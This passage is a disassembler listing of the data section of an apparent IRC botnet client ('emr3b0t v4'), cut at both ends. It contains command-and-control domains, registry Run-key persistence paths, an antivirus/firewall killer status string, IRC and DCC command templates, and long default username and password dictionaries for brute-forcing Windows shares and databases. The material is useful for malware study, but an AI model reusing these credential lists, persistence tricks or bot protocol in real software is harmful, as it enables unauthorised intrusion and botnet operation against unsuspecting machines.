_doexit+76o dd offset ___endstdio dword_43F03C dd 0 ; DATA XREF: _doexit:loc_41EBF1o dword_43F040 dd 0 ; DATA XREF: _doexit+88o dd offset ?__CxxRestoreUnhandledExceptionFilter@@YAXXZ ; __CxxRestoreUnhandledExceptionFilter(void) dword_43F048 dd 2 dup(0) ; DATA XREF: _doexit:loc_41EC03o dword_43F050 dd 80000002h ; DATA XREF: sub_401000+7o dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h dd offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000001h dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dword_43F068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo dword_43F06C dd 1F90h ; DATA XREF: WinMain(x,x,x,x)+4A4r ; WinMain(x,x,x,x)+539r dword_43F070 dd 1F91h ; DATA XREF: WinMain(x,x,x,x)+585r dword_43F074 dd 7E4h ; DATA XREF: sub_401CC7:loc_404806r dword_43F078 dd 45h ; DATA XREF: sub_401CC7+2079r ; sub_40C12D+3Br dword_43F07C dd 7D1h ; DATA XREF: sub_401CC7:loc_403E2Er ; sub_40C12D:loc_40C51Er dword_43F080 dd 201h ; DATA XREF: sub_401CC7:loc_403FBAr word_43F084 dw 7C7h ; DATA XREF: sub_401CC7:loc_404929r align 4 dword_43F088 dd 1 ; DATA XREF: sub_401CC7+646r dword_43F08C dd 1 ; DATA XREF: WinMain(x,x,x,x)+13Dr dword_43F090 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_40175Cr ; sub_4190F6+Cr byte_43F094 db 2Eh ; DATA XREF: sub_401CC7+A7Ar ; sub_401CC7+B34r ... align 4 dword_43F098 dd 5 ; DATA XREF: sub_40B06A+3Ar ; sub_40B06A+60r ... ; int dword_43F09C dword_43F09C dd 4 ; DATA XREF: sub_4019E7+78r ; sub_401CC7+270r ... ; int dword_43F0A0 dword_43F0A0 dd 1 ; DATA XREF: sub_4019E7+72r ; sub_401CC7+26Ar ; char aTrb[] aTrb db 'trb',0 ; DATA XREF: WinMain(x,x,x,x)+5Do ; sub_401CC7:loc_40468Bo ... aEmr3b0tV4 db 'emr3b0t v4',0 ; DATA XREF: sub_401CC7:loc_404B30o align 4 ; char a3zef[] a3zef db '3zef',0 ; DATA XREF: sub_401CC7+7EA3o ; sub_401CC7+7F72o align 4 ; char Source[] Source db 'saken-qlbe.net',0 ; DATA XREF: WinMain(x,x,x,x)+490o ; WinMain(x,x,x,x)+52Ao align 4 byte_43F0CC db 33h ; DATA XREF: sub_401B4F+28r ; sub_401B4F+30o aZef3 db 'zef3',0 align 4 ; char a0[] a0 db '#0#',0 ; DATA XREF: WinMain(x,x,x,x)+4B0o ; WinMain(x,x,x,x)+540o ... ; char a7lome[] a7lome db '7lome',0 ; DATA XREF: WinMain(x,x,x,x)+4C7o ; WinMain(x,x,x,x)+552o align 10h ; char byte_43F0E0 byte_43F0E0 db 73h ; DATA XREF: WinMain(x,x,x,x):loc_401983r ; WinMain(x,x,x,x)+576o aAkenQlbe_org db 'aken-qlbe.org',0 align 10h ; char a1[] a1 db '#1#',0 ; DATA XREF: WinMain(x,x,x,x)+58Co ; char a7lome_0[] a7lome_0 db '7lome',0 ; DATA XREF: WinMain(x,x,x,x)+59Eo align 4 ; char Str[] Str db 'nlzhxmpyrjsyle.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o ; WinMain(x,x,x,x)+167w ... align 10h ; char aWinnt_bat[] aWinnt_bat db 'winnt.bat',0 ; DATA XREF: sub_412694+3Do align 4 aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_43F134: ; DATA XREF: sub_40B0D7+12o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401CC7+7FEEo align 4 ; char a2[] a2 db '#2',0 ; DATA XREF: sub_401CC7+1D36o ; sub_401CC7+3039o ... align 10h ; char a2_0[] a2_0 db '#2',0 ; DATA XREF: sub_401CC7+449Ao align 4 ; char a2_1[] a2_1 db '#2',0 ; DATA XREF: sub_401CC7+40BEo ; sub_401CC7+4210o align 4 off_43F158 dd offset a@admin ; DATA XREF: sub_401CC7:loc_409BBDo ; "*@admin" off_43F15C dd offset aMircV6_16Khale ; DATA XREF: sub_401CC7+8AEr ; sub_401CC7+7F12o ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .data:0043F054o ; .data:0043F064o align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 ; DATA XREF: .data:0043F05Co align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AD5D+28o ; sub_41B081+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AD5D+D4o ; sub_41B081+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd 0 dd offset dword_4E2F90 dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_1 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1_0 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003_0 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_1 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault_0 ; "default" dd offset aSystem ; "system" dd offset aServer_6 ; "server" dd offset aRoot_0 ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_4 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter_0 ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob_0 ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin_2 ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase_0 ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2_0 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa_0 ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle_0 ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_1 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet_0 ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aStaff_0 ; "staff" dd 0 dword_43F494 dd 10h ; DATA XREF: sub_401CC7+AE4r ; sub_401CC7+B10r ... a@admin db '*@admin',0 ; DATA XREF: .data:off_43F158o aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_43F15Co align 10h aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F160o align 10h aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F164o align 10h aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F168o align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:0043F214o align 10h aAdministrador db 'administrador',0 ; DATA XREF: .data:0043F218o align 10h aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0043F21Co align 10h aAdministrat db 'administrat',0 ; DATA XREF: .data:0043F220o aAdmins db 'admins',0 ; DATA XREF: .data:0043F224o align 4 aAdmin db 'admin',0 ; DATA XREF: .data:0043F228o align 4 aStaff db 'staff',0 ; DATA XREF: .data:0043F22Co align 4 aRoot db 'root',0 ; DATA XREF: .data:0043F230o align 4 aComputer db 'computer',0 ; DATA XREF: .data:0043F234o align 4 aOwner db 'owner',0 ; DATA XREF: .data:0043F238o align 10h aStudent db 'student',0 ; DATA XREF: .data:0043F23Co aTeacher db 'teacher',0 ; DATA XREF: .data:0043F240o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0043F244o align 4 aGuest_0 db 'guest',0 ; DATA XREF: .data:0043F248o align 4 aDefault db 'default',0 ; DATA XREF: .data:0043F24Co aDatabase db 'database',0 ; DATA XREF: .data:0043F250o align 4 aDba db 'dba',0 ; DATA XREF: .data:0043F254o aOracle db 'oracle',0 ; DATA XREF: .data:0043F258o align 4 aDb2 db 'db2',0 ; DATA XREF: .data:0043F25Co aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:0043F268o align 4 aAdministrado_0 db 'administrador',0 ; DATA XREF: .data:0043F26Co align 4 aAdministrate_0 db 'administrateur',0 ; DATA XREF: .data:0043F270o align 4 aAdministrat_0 db 'administrat',0 ; DATA XREF: .data:0043F274o aAdmins_0 db 'admins',0 ; DATA XREF: .data:0043F278o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: .data:0043F27Co align 4 aAdm db 'adm',0 ; DATA XREF: .data:0043F280o aPassword1 db 'password1',0 ; DATA XREF: .data:0043F284o align 4 aPassword db 'password',0 ; DATA XREF: .data:0043F288o align 10h aPasswd db 'passwd',0 ; DATA XREF: .data:0043F28Co align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0043F290o align 4 aPass_1 db 'pass',0 ; DATA XREF: .data:0043F294o align 4 aPwd db 'pwd',0 ; DATA XREF: .data:0043F298o a007 db '007',0 ; DATA XREF: .data:0043F29Co a1_0: ; DATA XREF: .data:0043F2A0o unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: .data:0043F2A4o align 4 a123 db '123',0 ; DATA XREF: .data:0043F2A8o a1234 db '1234',0 ; DATA XREF: .data:0043F2ACo align 4 a12345 db '12345',0 ; DATA XREF: .data:0043F2B0o align 10h a123456 db '123456',0 ; DATA XREF: .data:0043F2B4o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:0043F2B8o a12345678 db '12345678',0 ; DATA XREF: .data:0043F2BCo align 4 a123456789 db '123456789',0 ; DATA XREF: .data:0043F2C0o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:0043F2C4o align 4 a2000 db '2000',0 ; DATA XREF: .data:0043F2C8o align 4 a2001 db '2001',0 ; DATA XREF: .data:0043F2CCo align 4 a2002 db '2002',0 ; DATA XREF: .data:0043F2D0o align 4 a2003_0 db '2003',0 ; DATA XREF: .data:0043F2D4o align 4 a2004 db '2004',0 ; DATA XREF: .data:0043F2D8o align 4 aTest db 'test',0 ; DATA XREF: .data:0043F2DCo align 4 aGuest_1 db 'guest',0 ; DATA XREF: .data:0043F2E0o align 4 aNone db 'none',0 ; DATA XREF: .data:0043F2E4o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0043F2E8o align 4 aUnix db 'unix',0 ; DATA XREF: .data:0043F2ECo align 4 aLinux db 'linux',0 ; DATA XREF: .data:0043F2F0o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:0043F2F4o align 4 aDefault_0 db 'default',0 ; DATA XREF: .data:0043F2F8o aSystem db 'system',0 ; DATA XREF: .data:0043F2FCo align 4 aServer_6 db 'server',0 ; DATA XREF: .data:0043F300o align 10h aRoot_0 db 'root',0 ; DATA XREF: .data:0043F304o align 4 aNull_1 db 'null',0 ; DATA XREF: .data:0043F308o align 10h aQwerty db 'qwerty',0 ; DATA XREF: .data:0043F30Co align 4 aMail db 'mail',0 ; DATA XREF: .data:0043F310o align 10h aOutlook db 'outlook',0 ; DATA XREF: .data:0043F314o aWeb db 'web',0 ; DATA XREF: .data:0043F318o aWww db 'www',0 ; DATA XREF: .data:0043F31Co aInternet db 'internet',0 ; DATA XREF: .data:0043F320o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0043F324o align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:0043F328o align 4 aHome db 'home',0 ; DATA XREF: .data:0043F32Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:0043F330o align 4 aUser_4 db 'user',0 ; DATA XREF: .data:0043F334o align 10h aOem db 'oem',0 ; DATA XREF: .data:0043F338o aOemuser db 'oemuser',0 ; DATA XREF: .data:0043F33Co aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0043F340o align 4 aWindows db 'windows',0 ; DATA XREF: .data:0043F344o aWin98 db 'win98',0 ; DATA XREF: .data:0043F348o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0043F34Co align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:0043F350o align 4 aWinnt db 'winnt',0 ; DATA XREF: .data:0043F354o align 10h aWin2000 db 'win2000',0 ; DATA XREF: .data:0043F358o aQaz db 'qaz',0 ; DATA XREF: .data:0043F35Co aAsd db 'asd',0 ; DATA XREF: .data:0043F360o aZxc db 'zxc',0 ; DATA XREF: .data:0043F364o aQwe db 'qwe',0 ; DATA XREF: .data:0043F368o aBob db 'bob',0 ; DATA XREF: .data:0043F36Co aJen db 'jen',0 ; DATA XREF: .data:0043F370o aJoe db 'joe',0 ; DATA XREF: .data:0043F374o aFred db 'fred',0 ; DATA XREF: .data:0043F378o align 4 aBill db 'bill',0 ; DATA XREF: .data:0043F37Co align 4 aMike db 'mike',0 ; DATA XREF: .data:0043F380o align 4 aJohn db 'john',0 ; DATA XREF: .data:0043F384o align 4 aPeter db 'peter',0 ; DATA XREF: .data:0043F388o align 4 aLuke db 'luke',0 ; DATA XREF: .data:0043F38Co align 4 aSam db 'sam',0 ; DATA XREF: .data:0043F390o aSue db 'sue',0 ; DATA XREF: .data:0043F394o aSusan db 'susan',0 ; DATA XREF: .data:0043F398o align 4 aPeter_0 db 'peter',0 ; DATA XREF: .data:0043F39Co align 4 aBrian db 'brian',0 ; DATA XREF: .data:0043F3A0o align 4 aLee db 'lee',0 ; DATA XREF: .data:0043F3A4o aNeil db 'neil',0 ; DATA XREF: .data:0043F3A8o align 10h aIan db 'ian',0 ; DATA XREF: .data:0043F3ACo aChris db 'chris',0 ; DATA XREF: .data:0043F3B0o align 4 aEric db 'eric',0 ; DATA XREF: .data:0043F3B4o align 4 aGeorge db 'george',0 ; DATA XREF: .data:0043F3B8o align 4 aKate db 'kate',0 ; DATA XREF: .data:0043F3BCo align 4 aBob_0 db 'bob',0 ; DATA XREF: .data:0043F3C0o aKatie db 'katie',0 ; DATA XREF: .data:0043F3C4o align 10h aMary db 'mary',0 ; DATA XREF: .data:0043F3C8o align 4 aLogin_2 db 'login',0 ; DATA XREF: .data:0043F3CCo align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .data:0043F3D0o align 4 aTechnical db 'technical',0 ; DATA XREF: .data:0043F3D4o align 4 aBackup db 'backup',0 ; DATA XREF: .data:0043F3D8o align 10h aExchange db 'exchange',0 ; DATA XREF: .data:0043F3DCo align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0043F3E0o align 4 aBitch db 'bitch',0 ; DATA XREF: .data:0043F3E4o align 4 aSlut db 'slut',0 ; DATA XREF: .data:0043F3E8o align 4 aSex db 'sex',0 ; DATA XREF: .data:0043F3ECo aGod db 'god',0 ; DATA XREF: .data:0043F3F0o aHell db 'hell',0 ; DATA XREF: .data:0043F3F4o align 4 aHello db 'hello',0 ; DATA XREF: .data:0043F3F8o align 4 aDomain db 'domain',0 ; DATA XREF: .data:0043F3FCo align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:0043F400o align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0043F404o align 10h aDatabase_0 db 'database',0 ; DATA XREF: .data:0043F408o align 4 aAccess db 'access',0 ; DATA XREF: .data:0043F40Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:0043F410o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0043F414o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0043F418o align 4 aData db 'data',0 ; DATA XREF: .data:0043F41Co align 10h aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0043F420o align 4 aDb1 db 'db1',0 ; DATA XREF: .data:0043F424o aDb2_0 db 'db2',0 ; DATA XREF: .data:0043F428o aDb1234 db 'db1234',0 ; DATA XREF: .data:0043F42Co align 4 aSa_0 db 'sa',0 ; DATA XREF: .data:0043F430o align 4 aSql db 'sql',0 ; DATA XREF: .data:0043F434o aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0043F438o align 10h aOrainstall db 'orainstall',0 ; DATA XREF: .data:0043F43Co align 4 aOracle_0 db 'oracle',0 ; DATA XREF: .data:0043F440o align 4 aIbm db 'ibm',0 ; DATA XREF: .data:0043F444o aCisco db 'cisco',0 ; DATA XREF: .data:0043F448o align 10h aDell db 'dell',0 ; DATA XREF: .data:0043F44Co align 4 aCompaq db 'compaq',0 ; DATA XREF: .data:0043F450o align 10h aSiemens db 'siemens',0 ; DATA XREF: .data:0043F454o aHp db 'hp',0 ; DATA XREF: .data:0043F458o align 4 aNokia db 'nokia',0 ; DATA XREF: .data:0043F45Co align 4 aXp_1 db 'xp',0 ; DATA XREF: .data:0043F460o align 4 aControl db 'control',0 ; DATA XREF: .data:0043F464o aOffice db 'office',0 ; DATA XREF: .data:0043F468o align 4 aBlank db 'blank',0 ; DATA XREF: .data:0043F46Co align 10h aWinpass db 'winpass',0 ; DATA XREF: .data:0043F470o aMain db 'main',0 ; DATA XREF: .data:0043F474o align 10h aLan db 'lan',0 ; DATA XREF: .data:0043F478o aInternet_0 db 'internet',0 ; DATA XREF: .data:0043F47Co align 10h aIntranet db 'intranet',0 ; DATA XREF: .data:0043F480o align 4 aStudent_0 db 'student',0 ; DATA XREF: .data:0043F484o aTeacher_0 db 'teacher',0 ; DATA XREF: .data:0043F488o aStaff_0 db 'staff',0 ; DATA XREF: .data:0043F48Co align 4 ; char aSS[] aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+10Do align 4 ; char Format[] Format db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o align 4 ; char aSDS[] aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo align 10h ; char asc_43FA60[] asc_43FA60 db '-' ; DATA XREF: WinMain(x,x,x,x)+364o db 3, 34h, 2 dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h dd 0 ; char asc_43FA7C[] asc_43FA7C db '-' ; DATA XREF: WinMain(x,x,x,x)+3A2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 10h ; char asc_43FAA0[] asc_43FAA0 db '-' ; DATA XREF: WinMain(x,x,x,x)+3F3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h ; char asc_43FAE0[] asc_43FAE0 db '-' ; DATA XREF: WinMain(x,x,x,x)+420o db 3, 34h, 2 dd 6E656469h, 2036474h aServerRunningO db '- Server running on Port: 113.',0 align 4 ; char asc_43FB0C[] asc_43FB0C db '-' ; DATA XREF: WinMain(x,x,x,x)+46Bo db 3, 34h, 2 dd 6E656469h, 2036474h aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 10h ; char asc_43FB40[] asc_43FB40 db '-' ; DATA XREF: sub_4019E7+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 10h ; char aPassS[] aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B4F+35o align 4 ; char aNickSUserS00S[] aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B4F+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 ; char SubStr[] SubStr db ' :',0 ; DATA XREF: sub_401CC7+86o align 4 ; char Delim[] Delim: ; DATA XREF: sub_401CC7+AEo unicode 0, < >,0 ; char asc_43FB90[] asc_43FB90: ; DATA XREF: sub_401CC7:loc_401D92o unicode 0, < >,0 ; char asc_43FB94[] asc_43FB94: ; DATA XREF: sub_401CC7+191o unicode 0, <!>,0 ; char aPing[] aPing db 'PING',0 ; DATA XREF: sub_401CC7+1A0o align 10h ; char aPongS[] aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1BAo align 4 ; char aJoinSS[] aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1DBo align 4 ; char a001[] a001 db '001',0 ; DATA XREF: sub_401CC7+1F7o ; char a005[] a005 db '005',0 ; DATA XREF: sub_401CC7+20Co ; char aUserhostS[] aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7FDEo align 4 ; char aModeSS_0[] aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7FF6o align 4 ; char aJoinSS_4[] aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+800Co align 4 ; char a302_0[] a302_0 db '302',0 ; DATA XREF: sub_401CC7+221o ; char a[] a@: ; DATA XREF: sub_401CC7+231o unicode 0, <@>,0 ; char a433_0[] a433_0 db '433',0 ; DATA XREF: sub_401CC7+259o ; char aNickS[] aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+284o align 4 ; char aKick[] aKick db 'KICK',0 ; DATA XREF: sub_401CC7+2DBo align 4 ; char asc_43FC14[] asc_43FC14 db '-' ; DATA XREF: sub_401CC7+34Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User %s logged out.',0 ; char aNoticeSS[] aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+368o ; char aJoinSS_0[] aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+3AEo align 4 ; char aNick[] aNick db 'NICK',0 ; DATA XREF: sub_401CC7+3C7o align 4 ; char aSS_1[] aSS_1 db ':%s%s',0 ; DATA XREF: sub_401CC7+4F5o align 4 ; char aPart[] aPart db 'PART',0 ; DATA XREF: sub_401CC7+51Do align 4 ; char aQuit[] aQuit db 'QUIT',0 ; DATA XREF: sub_401CC7+52Eo align 4 ; char asc_43FC74[] asc_43FC74 db '-' ; DATA XREF: sub_401CC7+5C4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User: %s logged out.',0 align 4 ; char aPart_0[] aPart_0 db 'PART',0 ; DATA XREF: sub_401CC7+5E1o align 10h aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+605o ; char a353[] a353 db '353',0 ; DATA XREF: sub_401CC7+56Co ; char asc_43FCB4[] asc_43FCB4 db '-' ; DATA XREF: sub_401CC7+59Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: %s.',0 ; char aPrivmsg[] aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401CC7+610o ; char aNotice[] aNotice db 'NOTICE',0 ; DATA XREF: sub_401CC7+621o align 4 ; char a332[] a332 db '332',0 ; DATA XREF: sub_401CC7+632o ; char aPrivmsg_0[] aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401CC7+653o ; char aNotice_0[] aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401CC7+668o align 4 ; char aNotice_1[] aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401CC7+7E3o align 10h ; char asc_43FD00[] asc_43FD00: ; DATA XREF: sub_401CC7+808o unicode 0, <#>,0 ; char dword_43FD04 dword_43FD04 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401CC7+890o dword_43FD10 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401CC7+8BBo dd 0D017325h, 0Ah ; char dword_43FD2C dword_43FD2C dd 4E495001h, 47h ; DATA XREF: sub_401CC7+8C6o dword_43FD34 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401CC7+8F7o dd 0A0Dh ; char dword_43FD4C dword_43FD4C dd 43434401h, 0 ; DATA XREF: sub_401CC7+6AFo ; char aSend[] aSend db 'SEND',0 ; DATA XREF: sub_401CC7+6CDo align 4 ; char aS[] aS db '%s',0 ; DATA XREF: sub_401CC7+6FAo align 10h ; char aS_0[] aS_0 db '%s',0 ; DATA XREF: sub_401CC7+715o align 4 ; char asc_43FD64[] asc_43FD64 db '-' ; DATA XREF: sub_401CC7+776o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 unk_43FD94 db 2Dh ; - ; DATA XREF: sub_401CC7+908o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 10h ; char asc_43FDD0[] asc_43FDD0 db '-' ; DATA XREF: sub_401CC7+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 ; char aChat[] aChat db 'CHAT',0 ; DATA XREF: sub_401CC7+940o align 4 ; char aS_1[] aS_1 db '%s',0 ; DATA XREF: sub_401CC7+97Do align 10h ; char asc_43FE20[] asc_43FE20 db '-' ; DATA XREF: sub_401CC7+9D7o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h unk_43FE40 db 2Dh ; - ; DATA XREF: sub_401CC7+A46o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_43FE78 db 2Dh ; - ; DATA XREF: sub_401CC7+A57o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_43FEA8 db 2Dh ; - ; DATA XREF: sub_401CC7+A68o db 3, 34h, 2 db 64h ; d db 2 